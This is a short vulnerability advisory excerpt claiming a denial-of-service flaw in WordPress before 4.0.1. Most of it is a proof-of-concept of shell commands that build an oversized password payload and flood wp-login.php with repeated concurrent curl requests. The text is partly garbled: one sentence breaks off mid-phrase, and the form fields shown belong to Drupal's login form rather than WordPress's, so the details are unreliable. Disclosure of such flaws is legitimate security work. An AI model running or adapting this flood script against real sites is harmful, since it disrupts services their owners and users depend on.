A vulnerability present in Wordpress < 4.0.1 allows an
attacker to send specially crafted requests resulting in CPU and memory

unresponsive (denial of service).
 
====================================================================
Time Line:
====================================================================
 
November 20, 2014 - A Wordpress security update and the security
advisory is published.
 
====================================================================
Proof of Concept:
====================================================================
Generate a pyaload and try with a valid user:
 
echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
{1..1000000} >> valid_user_payload && echo -n "&op=Log
in&form_id=user_login" >> valid_user_payload
 
Perform a Dos with a valid user:
 
for i in `seq 1 150`; do (curl --data @valid_user_payload
http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep
0.25; done
